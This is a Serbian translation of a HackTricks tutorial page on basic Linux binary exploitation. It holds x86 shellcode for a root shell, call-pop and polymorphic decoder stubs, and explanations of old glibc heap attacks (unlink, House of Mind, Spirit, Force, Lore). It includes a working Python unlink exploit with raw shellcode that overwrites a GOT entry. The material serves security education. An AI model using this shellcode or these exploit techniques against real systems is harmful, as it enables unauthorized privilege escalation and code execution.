hacktricks/binary-exploitation/linux-exploiting-basic-esp.md

26 KiB
Raw Permalink Blame History

Linux Exploiting (Osnovno)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

2.SHELLCODE

Vidi prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; čistimo eax
xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Izvršiti syscall

nasm -f elf assembly.asm —> Vraća nam .o datoteku
ld assembly.o -o shellcodeout —> Daje nam izvršnu datoteku formiranu od asemblerskog koda i možemo izvući opkodove sa objdump
objdump -d -Mintel ./shellcodeout —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove

Proverite da li shellcode funkcioniše

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u strace ./PROGRAMA_COMPILADO

Prilikom kreiranja shellcode-a možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.

PRIMER TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Eksplatacija korišćenjem Staka(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Lovac na jaja:

Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda.

Polimorfni shellkodovi

To su šifrovani shellkodovi koji imaju male kodove koji ih dešifruju i skoče na njih, koristeći trik Call-Pop, ovde je primer Cezarove šifre:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Dodatne metode

8 Preplavljenje hipa: Osnovni eksploiti

Dodeljeni fragment

prev_size |
size | —Zaglavlje
*mem | Podaci

Slobodan fragment

prev_size |
size |
*fd | Ptr naprednog fragmenta
*bk | Ptr nazadnog fragmenta —Zaglavlje
*mem | Podaci

Slobodni fragmenti su u dvostruko povezanoj listi (bin) i nikada ne mogu biti dva slobodna fragmenta zajedno (spajaju se)

U "size" postoje bitovi koji pokazuju: Da li je prethodni fragment u upotrebi, da li je fragment dodeljen putem mmap() i da li fragment pripada primarnoj areni.

Kada se oslobodi fragment, ako su neki od susednih slobodni, oni se spajaju pomoću makroa unlink() i novi, veći fragment se prosleđuje frontlink() da ga ubaci u odgovarajući bin.

unlink(){
BK = P->bk; —> BK novog fragmenta je onaj koji je imao prethodno slobodan fragment
FD = P->fd; —> FD novog fragmenta je onaj koji je imao prethodno slobodan fragment
FD->bk = BK; —> BK sledećeg fragmenta pokazuje na novi fragment
BK->fd = FD; —> FD prethodnog fragmenta pokazuje na novi fragment
}

Dakle, ako uspemo da promenimo P->bk sa adresom shell koda i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Na taj način, shell kod se izvršava prilikom izlaska iz programa.

Takođe, 4. izjava unlink() piše nešto i shell kod mora biti prilagođen za ovo:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Ovo uzrokuje pisanje 4 bajta od 8. bajta shell koda, pa prva instrukcija shell koda mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shell koda.

Stoga se eksploit kreira:

U buffer1 ubacujemo shell kod počevši od skoka kako bi prešao na nops ili ostatak shell koda.

Nakon shell koda ubacujemo punjenje dok ne dođemo do polja prev_size i size sledećeg fragmenta. Na tim mestima ubacujemo 0xfffffff0 (tako da se prev_size prepisuje da ima bit koji kaže da je slobodan) i "-4" (0xfffffffc) u size (da bi kada proveri u 3. fragmentu da li je 2. bio slobodan, zapravo otišao na modifikovani prev_size koji će reći da je slobodan) -> Tako kada free() istražuje, otići će na size 3. ali zapravo će otići na 2. - 4 i pomisliće da je 2. fragment slobodan. I tada će pozvati unlink().

Pozivom unlink() koristi se kao P->fd prvi podaci 2. fragmenta, pa će se tamo ubaciti adresa koju želite prepisati - 12 (jer će u FD->bk dodati 12 adresi sačuvanoj u FD). I na toj adresi unosi se druga adresa koja se nalazi u 2. fragmentu, koja će biti adresa shell koda (lažni P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Bit koji označava da je prethodni fragment slobodan treba biti 1

fake_size = pack("<I”, 0xfffffffc) #-4, da program misli da je "size" 3. fragmenta 4 bajta unazad (pokazuje na prev_size) jer tu gleda da li je 2. fragment slobodan

addr_sc = pack("<I", 0x0804a008 + 8) #Na početku payloada dodajemo 8 bajtova punjenja

got_free = pack("<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja će biti prepisana da bi se shell kod pokrenuo drugi put kada se pozove free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Kao što je rečeno, payload počinje sa 8 bajtova punjenja jer da

payload += prev_size + fake_size + got_free + addr_sc #Modifikuje se 2. fragment, got_free pokazuje gde ćemo sačuvati adresu addr_sc + 12

os.system("./8.3.o " + payload)

unset() oslobađajući u obrnutom redosledu (wargame)

Kontrolišemo 3 uzastopna fragmenta i oslobađamo ih u obrnutom redosledu od rezervisanog.

U tom slučaju:

U fragment c se stavlja shell kod

Fragment a koristimo da prepisujemo b tako da size ima deaktiviran bit PREV_INUSE tako da misli da je fragment a slobodan.

Takođe, u zaglavlju b se prepisuje size da bude -4.

Tada će program misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odvoji. Međutim, pošto je zaglavlje PREV_SIZE -4, misliće da fragment "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na fragment koji počinje na b+4, pa će na b+12 biti pokazivač "fd" i na b+16 će biti pokazivač "bk".

Na taj način, ako stavimo adresu shell koda u bk i adresu funkcije "puts()" -12 u fd, dobijamo naš payload.

Tehnika Frontlink

Poziva se frontlink kada se nešto oslobodi i nijedan od susednih fragmenta nije slobodan, ne poziva se unlink() već se direktno poziva frontlink().

Korisna ranjivost kada se napadnuti malloc nikada ne oslobađa (free()).

Potrebno je:

Buffer koji može biti preplavljen funkcijom za unos podataka

Buffer koji je susedan ovom koji treba biti oslobođen i čije će se polje fd u zaglavlju promeniti zbog preplavljivanja prethodnog bafera

Buffer koji treba osloboditi sa veličinom većom od 512 ali manjom od prethodnog bafera

Buffer deklarisan pre koraka 3 koji omogućava prepisivanje prev_size ovog

Na ovaj način, postižući preplavljivanje u dva malloca na nekontrolisan način i u jednom kontrolisanom ali koji se oslobađa samo jednom, možemo napraviti eksploit.

Ranjivost double free()

Ako se dva puta pozove free() sa istim pokazivačem, dva bina pokazuju na istu adresu.

U slučaju da se želi ponovo koristiti jedan, to se može uraditi bez problema. U slučaju da se želi koristiti drugi, dobiće isti prostor, pa ćemo imati lažirane pokazivače "fd" i "bk" sa podacima koje će upisati prethodna rezervacija.

Nakon free()

Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.

8 Preplavljenje hipa: Napredni eksploiti

Tehnike Unlink() i FrontLink() su uklonjene modifikacijom funkcije unlink().

The house of mind

Samo jedan poziv free() je potreban da bi se izazvalo izvršavanje proizvoljnog koda. Cilj je pronaći drugi komad koji može biti preplavljen prethodnim i oslobođen.

Poziv free() dovodi do poziva public_fREe(mem), koji radi:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj počinje komad (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

U [1] se proverava polje size bit NON_MAIN_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap_for_ptr() koja vrši and na "mem" ostavljajući 2,5 najmanje bita na 0 (u našem slučaju od 0x0804a000 postaje 0x08000000) i pristupa 0x08000000->ar_ptr (kao da je struktura heap_info)

Na ovaj način, ako možemo kontrolisati komad na primer na 0x0804a000 i komad će biti oslobođen na 0x081002a0 možemo stići do adrese 0x08100000 i pisati šta god želimo, na primer 0x0804a000. Kada se ovaj drugi komad oslobodi, heap_for_ptr(ptr)->ar_ptr će vratiti ono što smo napisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar_ptr)

Na ovaj način se poziva _int_free(ar_ptr, mem), odnosno, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u komadu koji će biti oslobođen.

Kako je definisano unsorted_chunks, znamo da:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Stoga, ako u av->bins[2] napišemo vrednost __DTOR_END__-12, u poslednjoj instrukciji će se upisati u __DTOR_END__ adresa drugog komada.

Drugim rečima, u prvom komadu moramo staviti na početak mnogo puta adresu __DTOR_END__-12 jer će av->bins[2] to izvući

Na adresi na koju padne adresa drugog komada sa poslednjih 5 nula moramo napisati adresu ovog prvog komada kako bi heap_for_ptr() mislio da je ar_ptr na početku prvog komada i izvukao av->bins[2] odande

U drugom komadu i zahvaljujući prvom, prepisujemo prev_size sa skokom 0x0c i size sa nečim što će aktivirati -> NON_MAIN_ARENA

Zatim u komadu 2 stavljamo puno nops i na kraju shellcode

Na ovaj način će se pozvati _int_free(KOMAD1, KOMAD2) i pratiti instrukcije za pisanje u __DTOR_END__ adresu prev_size KOMAD2 koji će skočiti na shellcode.

Za primenu ove tehnike potrebno je da se ispune neki dodatni zahtevi koji malo komplikuju payload.

Ova tehnika više nije primenjiva jer je primenjen gotovo isti zakrpa kao i za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega.

Fastbin

To je varijanta The house of mind

interesuje nas izvršavanje sledećeg koda do kojeg se dolazi nakon prve provere funkcije _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Gde je fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Na ovaj način, ako se postavi u "fb" adresa funkcije u GOT, na ovoj adresi će se postaviti adresa prepisanog komada. Za ovo će biti potrebno da je arena blizu adresa dtors. Tačnije, av->max_fast mora biti na adresi koju ćemo prepisati.

S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av.

Zato ako u polje size stavimo veličinu 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() će vratiti fastbins[-1], koji će pokazivati na av->max_fast

U ovom slučaju av->max_fast će biti adresa koja će biti prepisana (ne na koju pokazuje, već ta pozicija će biti prepisana).

Takođe, mora se ispuniti uslov da komad koji je susedan oslobođenom komadu mora biti veći od 8 -> Pošto smo rekli da je veličina oslobođenog komada 8, u ovom lažnom komadu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom komadu, treba staviti na početak skok koji će pasti na nops).

Takođe, taj isti lažni komad mora biti manji od av->system_mem. av->system_mem je udaljen 1848 bajtova.

Zbog nula iz _DTOR_END_ i malog broja adresa u GOT, nijedna adresa iz ovih sekcija nije pogodna za prepisivanje, pa pogledajmo kako primeniti fastbin za napad na stek.

Još jedan način napada je preusmeravanje av ka steku.

Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin_index() će vratiti fastbins[0] i možemo iskoristiti ovo da prepisujemo stek.

Za ovo ne sme biti nikakvih canary vrednosti ili čudnih vrednosti na steku, zapravo moramo biti u ovom stanju: 4 bajta nula + EBP + RET

4 bajta nula su potrebna da će av biti na ovoj adresi i prvi element av je mutex koji mora biti 0.

av->max_fast će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja.

U av->fastbins[0] će se prepisati adresa p i biće RET, tako će se skočiti na shellcode.

Takođe, u av->system_mem (1484 bajta iznad pozicije na steku) će biti dosta smeća koje će nam omogućiti da preskočimo proveru koja se vrši.

Takođe, mora se ispuniti uslov da komad koji je susedan oslobođenom komadu mora biti veći od 8 -> Pošto smo rekli da je veličina oslobođenog komada 16, u ovom lažnom komadu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom komadu, treba staviti na početak skok koji će pasti na nops koji dolaze posle polja size novog lažnog komada).

The House of Spirit

U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenjen od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive).

Na taj način, mogli bismo da nateramo ovaj pokazivač da pokazuje gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog komada mora biti manja od av->max_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da će nakon ovog ranjivog pokazivača biti pozvan malloc(40), veličina lažnog komada mora biti jednaka 48. Ako na primer program pita korisnika za broj, možemo uneti 48 i usmeriti promenljivi pokazivač malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system_mem.

Ako se ovo ostvari, kada se pozove sledeći malloc koji smo rekli da je malloc(40), biće dodeljena adresa EBP-u. Ako napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prebrisati kako EBP tako i EIP sa željenom adresom.

Ovo je zato što kada se oslobodi free(), čuvaće se da u adresi koja pokazuje na EBP steka postoji deo tačno veličine za novi malloc() koji se želi rezervisati, pa će mu dodeliti tu adresu.

The House of Force

Potrebno je:

  • Prekoračenje u delu koji omogućava prebrisavanje wilderness-a
  • Poziv malloc() sa veličinom definisanom od strane korisnika
  • Poziv malloc() čiji podaci mogu biti definisani od strane korisnika

Prvo što se radi je prebrisavanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u _int_malloc() bez potrebe za proširivanjem hipa.

Drugo je promeniti av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti &EIP - 8.

Moramo prebrisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim uzima vrednost trenutne adrese wilderness dela (trenutni av->top) i remainder je tačno ta adresa plus broj bajtova traženih od strane malloc(). Dakle, ako je &EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je potrebno rezervisati u kontrolisanom mallocu toliko bajtova da av->top pokazuje na $EIP-8 za sledeći malloc():

0xbffff224 - 0x080c2788 = 3086207644.

Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prebrisati.

Važno je znati da veličina novog dela wilderness bude veća od zahteva poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na &EIP-8, veličina će biti tačno na EBP polju steka.

The House of Lore

Korupcija SmallBin

Oslobađeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Kada se deo oslobodi, ne stavlja se odmah u svoj bin već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodni oslobađeni može poslužiti, vraća se, ali ako se rezerviše veći deo, oslobađeni deo u unsorted bins se stavlja u odgovarajući bin.

Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max_fast (obično 72) i manji od MIN_LARGE_SIZE (512).

Ako u binu postoji deo odgovarajuće veličine zahtevanog dela, on se vraća nakon što se odveže:

bck = victim->bk; Pokazuje na prethodni deo, jedina informacija koju možemo promeniti.

bin->bk = bck; Pretposlednji deo postaje poslednji, ako bck pokazuje na stek, sledećem rezervisanom delu će se dati ta adresa

bck->fd = bin; Zatvara se lista tako što pokazuje na bin

Potrebno je:

Rezervisati dva malloc-a, tako da se prvom može prekoračiti nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je veći malloc od drugog dela pre prekoračenja)

Malloc rezervisan sa adresom koju bira napadač mora biti pod kontrolom napadača.

Cilj je sledeći, ako možemo prekoračiti hip koji ispod ima već oslobođen deo u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo njegov pokazivač bk i taj deo postane prvi u listi bina i rezervisan je, bin će biti prevaren i reći će mu da je poslednji deo liste (sledeći za ponudom) na lažnoj adresi koju smo postavili (na steku ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvolu na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega.

Nakon oslobađanja promenjenog dela, potrebno je rezervisati deo veći od oslobođenog, tako da promenjeni deo izađe iz unsorted bins i ubaci se u svoj bin.

Kada se nađe u svom binu, vreme je da se promeni pokazivač bk preko prekoračenja kako bi pokazivao na željenu adresu.

Tako bin mora da sačeka dovoljno poziva malloc() da se ponovo koristi promenjeni bin i prevari bin tako što će mu reći da je sledeći deo na lažnoj adresi. Zatim će dobiti deo koji nas zanima.

Da bi se iskoristila ranjivost što je pre moguće, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se promeniti, oslobađanje tog dela, rezervacija dela većeg od dela koji će se promeniti, promena dela (ranjivost), rezervacija dela iste veličine kao ranjeno i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu.

Da bi se zaštitio ovaj napad, koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na victim. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog dela pokazuje na victim na steku. Da bi se prevazišla ova zaštita, napadač mora biti sposoban da na neki način (verovatno preko steka) upiše u odgovarajuću adresu adresu victim. Tako će izgledati kao pravi deo.

Korupcija LargeBin

Potrebni su isti zahtevi kao i pre i još neki, osim toga, rezervisani delovi moraju biti veći od 512.

Napad je sličan prethodnom, tj. treba promeniti pokazivač bk i potrebne su sve te pozive malloc(), ali takođe treba promeniti veličinu promenjenog dela tako da ta veličina - nb bude < MINSIZE.

Na primer, postavićemo veličinu na 1552 tako da 1552 - 1544 = 8 < MINSIZE (oduzimanje ne može biti negativno jer se upoređuje sa unsigned)

Takođe je uveden zakrpa da bi se to učinilo još složenijim.

Heap Spraying

Osnovna ideja je rezervisati što više memorije za hipove i popuniti ih nizom nops-a završenim shellcode-om. Takođe, kao jastuk se koristi 0x0c. Pokušaćemo da skočimo na adresu 0x0c0c0c0c, pa ako se neka adresa prepiše sa ovim jastukom, skočiće tamo. Osnovna taktika je rezervisati što je više moguće da vidimo da li se neki pokazivač prepiše i skočiti na 0x0c0c0c0c u nadi da tamo postoje nops.

Heap Feng Shui

Sastoji se od rezervacija i oslobađanja memorije kako bi se segmentirala memorija tako da između slobodnih delova ostanu rezervisani delovi. Bafer za prekoračenje će se nalaziti u jednom od tih delova. objdump -t ./exec | grep varBss —> Tabela simbola, za izvlačenje adrese promenljivih i funkcija
objdump -TR ./exec | grep exit(func lib) —> Za izvlačenje adrese funkcija iz biblioteka (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Izvlači adresu puts za prepisivanje u GOT
objdump -D ./exec —> Disas ALL do ulaza plt
objdump -p -/exec
Info functions strncmp —> Info o funkciji u gdb

Interesantni kursevi

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: